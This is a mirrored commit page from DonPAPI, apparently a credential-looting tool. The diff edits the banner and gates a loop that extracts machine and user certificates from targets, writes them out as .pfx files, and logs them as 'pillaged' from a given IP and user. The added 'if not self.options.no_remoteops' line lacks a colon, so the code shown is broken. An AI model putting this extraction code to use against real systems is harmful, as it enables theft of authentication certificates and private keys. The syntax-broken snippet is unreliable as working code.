mirror of
https://github.com/login-securite/DonPAPI
synced 2025-01-30 19:21:52 +00:00
Merge branch 'main' into dep-fix
This commit is contained in:
commit
74e0d14778
@ -38,7 +38,7 @@ BANNER = """
|
|||||||
,
|
,
|
||||||
, LeHack Release! \U0001F480
|
, LeHack Release! \U0001F480
|
||||||
(
|
(
|
||||||
. by Touf & Zblurx @ Login-Securite
|
. by Touf & Zblurx @ Login Sécurité
|
||||||
&&&&&&
|
&&&&&&
|
||||||
&&&&&%%%. &&&&&&
|
&&&&&%%%. &&&&&&
|
||||||
&&&&%%% &&&& &&&&&& &&&&&& &&&&&.
|
&&&&%%% &&&& &&&&&& &&&&&& &&&&&.
|
||||||
|
@ -321,17 +321,18 @@ class CertificatesTriage():
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
pass
|
pass
|
||||||
self.db.add_certificate(guid=cert.filename, pfx_file_path=full_path, issuer=str(cert.cert.issuer.rfc4514_string()), subject=str(cert.cert.subject.rfc4514_string()), client_auth=cert.clientauth, pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=cert.user.username)
|
self.db.add_certificate(guid=cert.filename, pfx_file_path=full_path, issuer=str(cert.cert.issuer.rfc4514_string()), subject=str(cert.cert.subject.rfc4514_string()), client_auth=cert.clientauth, pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=cert.user.username)
|
||||||
for user in self.users:
|
if not self.options.no_remoteops
|
||||||
if user.username == 'MACHINE$':
|
for user in self.users:
|
||||||
system_certificates = self.triage_system_certificates(user)
|
if user.username == 'MACHINE$':
|
||||||
for cert in system_certificates:
|
system_certificates = self.triage_system_certificates(user)
|
||||||
filename = "%s_%s.pfx" % (cert.username,cert.filename[:16])
|
for cert in system_certificates:
|
||||||
full_path = os.path.join(filedest,filename)
|
filename = "%s_%s.pfx" % (cert.username,cert.filename[:16])
|
||||||
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}[+] Found certificate for MACHINE. Writing it to {full_path}{bcolors.ENDC}")
|
full_path = os.path.join(filedest,filename)
|
||||||
cert.dump()
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}[+] Found certificate for MACHINE. Writing it to {full_path}{bcolors.ENDC}")
|
||||||
with open(full_path, "wb") as f:
|
cert.dump()
|
||||||
f.write(cert.pfx)
|
with open(full_path, "wb") as f:
|
||||||
self.db.add_certificate(guid=cert.filename, pfx_file_path=full_path, issuer=str(cert.cert.issuer.rfc4514_string()), subject=str(cert.cert.subject.rfc4514_string()), client_auth=cert.clientauth, pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=user.username)
|
f.write(cert.pfx)
|
||||||
|
self.db.add_certificate(guid=cert.filename, pfx_file_path=full_path, issuer=str(cert.cert.issuer.rfc4514_string()), subject=str(cert.cert.subject.rfc4514_string()), client_auth=cert.clientauth, pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=user.username)
|
||||||
|
|
||||||
def triage_system_certificates(self, user: MyUser) -> List[Certificate]:
|
def triage_system_certificates(self, user: MyUser) -> List[Certificate]:
|
||||||
certificates = []
|
certificates = []
|
||||||
|
Loading…
Reference in New Issue
Block a user